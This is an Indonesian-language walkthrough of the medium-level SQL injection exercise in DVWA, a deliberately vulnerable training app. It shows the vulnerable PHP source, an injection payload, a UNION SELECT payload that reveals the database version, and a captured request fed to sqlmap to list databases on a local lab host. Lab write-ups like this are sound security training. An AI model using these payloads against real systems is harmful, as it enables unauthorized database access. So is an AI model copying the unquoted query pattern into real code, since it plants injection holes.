Medium

SQL Injection level Medium on DVWA

Di bawah ini adalah source-code dari SQL Injection level medium di DVWA.

vulnerabilities/sqli/source/medium.php
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

Mencari Informasi

Pada level ini form yang digunakan adalah bertipe select dan method yang digunakan adalah POST. Sehingga untuk mencoba merubah parameter-nya, kita bisa menggunakan tool Burp suite seperti berikut:

Jika kita ubah nilai parameter id-nya menjadi ', maka pesan error-nya akan berbeda dibanding level sebelumnya.

Tampilnya pesan error ini sudah menandakan bahwa terdapat celah SQL Injection. Anda bisa langsung menggunakan tool SQLMap atau secara manual.

Ada penambahan backslash (\) sebelum karakter '. Ini dikarenakan fungsi mysqli_real_escape_string() yang melakukan encoding pada spesial karakter (bisa dibaca di sini).

Sehingga sekarang kita tidak bisa menggunakan payload pada level sebelumnya.

%' or '0' = '0

Maka dari itu kita harus menggunakan cara lain, yaitu mencari payload yang tidak menggunakan spesial karakter. Jawaban yang saya temukan adalah menggunakan union!

Melakukan Serangan

Kali ini kita akan menggunakan union (di sini saya contohkan untuk menampilkan versi DBMS) sebagai payload-nya.

1 UNION SELECT null, version() 

Sehingga hasilnya adalah seperti berikut:

DBMS yang digunakan adalah MariaDB 10.1.26.

Sebagai pembiasaan menggunakan query union, praktekan query yang pada level sebelumnya dipelajari.

Menggunakan SQLMap

Salah satu cara termudah untuk menggunakan SQLMap (apa lagi dengan method POST) adalah dengan bantuan Burp suite, yaitu dengan meng-intercept request lalu di salin ke suatu file (contohnya r.txt).

r.txt
POST /vulnerabilities/sqli/ HTTP/1.1
Host: 172.17.0.2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Origin: http://172.17.0.2
Connection: close
Referer: http://172.17.0.2/vulnerabilities/sqli/
Cookie: lang=en-US; PHPSESSID=deanteiid9ignilfjtiak17op2; security=medium
Upgrade-Insecure-Requests: 1
i_like_gitea: 11session

id=1&Submit=Submit

Selanjutnya adalah menjalankan SQLMap:

sqlmap -r r.txt --dbs

Dan hasilnya akan seperti berikut:

Setelah itu anda bisa explore lebih jauh lagi.😁

Happy Hacking! 🍻

Last updated